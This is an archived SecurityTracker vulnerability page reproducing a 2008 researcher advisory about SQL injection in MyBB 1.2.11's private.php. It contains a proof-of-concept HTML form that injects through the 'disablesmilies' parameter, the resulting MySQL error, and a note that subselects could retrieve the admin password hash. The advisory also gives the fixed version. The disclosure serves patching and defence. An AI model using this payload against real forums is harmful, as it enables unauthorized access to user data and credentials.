Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
MyBB Input Validation Flaw in 'private.php' Lets Remote Users Inject SQL Commands
|
|
SecurityTracker Alert ID: 1019257
|
|
SecurityTracker URL: http://securitytracker.com/id?1019257
|
|
CVE Reference: CVE-2008-0787
(Links to External Site)
|
Updated: Feb 21 2008
|
Original Entry Date: Jan 23 2008
|
Impact: Disclosure of system information, Disclosure of user information, User access via network
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Version(s): 1.2.11
|
Description: A vulnerability was reported in MyBB. A remote authenticated user can inject SQL commands.
The 'private.php' script does not properly validate user-supplied input in the 'disablesmilies' parameter. A remote authenticated
user can supply a specially crafted parameter value to execute SQL commands on the underlying database.
The private message system
must be enabled for the system to be vulnerable.
The original advisory is available at:
http://www.waraxe.us/advisory-64.html
Janek
Vind "waraxe" reported this vulnerability.
|
Impact: A remote authenticated user can execute SQL commands on the underlying database.
|
Solution: The vendor has issued a fixed version (1.2.12).
|
Vendor URL: www.mybboard.net/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: come2waraxe@yahoo.com
|
Message History:
None.
|
Source Message Contents
|
Date: 21 Jan 2008 16:47:18 -0000
From: come2waraxe@yahoo.com
Subject: [waraxe-2008-SA#064] - Sql Injection in MyBB 1.2.11
|
[waraxe-2008-SA#064] - Sql Injection in MyBB 1.2.11
===============================================================================
Author: Janek Vind "waraxe"
Date: 21. January 2008
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-64.html
Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MyBB is a discussion board that has been around for a while; it has evolved
from other bulletin boards into the forum package it is today. Therefore,
it is a professional and efficient discussion board, developed by an active
team of developers.
Vulnerabilities discovered
===============================================================================
1. SQL Injection in "private.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Preconditions:
===============
a) attacker must have logged in as registered user
b) private message system must be enabled
Caused by:
===============
Parameter "disablesmilies" is not sanitized properly before being used in
INSERT sql query.
Explanation:
===============
Let's try this little piece of html code as proof-of-concept:
[--------------- PoC start -------------------------------------------------]
<html><body><center>
<form action="http://localhost/mybb.1.2.11/private.php" method="post">
<input type="hidden" name="action" value="do_send">
<input type="hidden" name="subject" value="f00subject">
<input type="hidden" name="message" value="f00message">
<input type="hidden" name="to" value="waraxe">
<input type="hidden" name="options[disablesmilies]" value="',waraxe,'">
<input type="submit" value="Test!">
</form>
</center></body></html>
[------------- PoC end ----------------------------------------------------]
NB! Parameter "to" must be valid username!
As result of test we can see sql error message:
MySQL error: 1136
Column count doesn't match value count at row 1
Query: INSERT INTO mybb_privatemessages (uid, toid, fromid, folder, subject,
icon, message, dateline, status, includesig, smilieoff, receipt, readtime)
VALUES ('1', '1', '1', '1', 'f00subject', '0', 'f00message', '1200579555',
'0', 'no', '',waraxe,'', '0', '0')
So sql injection security hole exists in INSERT query and in case of mysql
version >= 4.1 by using subselects attacker can fetch arbitrary data from
database, including admin password hash.
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Download new MyBB version 1.2.12
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, str0ke
and anyone else who know me!
Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Homepage: http://www.janekvind.com/
Waraxe forum: http://www.waraxe.us/forums.html
---------------------------------- [ EOF ] --------------------------------
|
|
Go to the Top of This SecurityTracker Archive Page
|
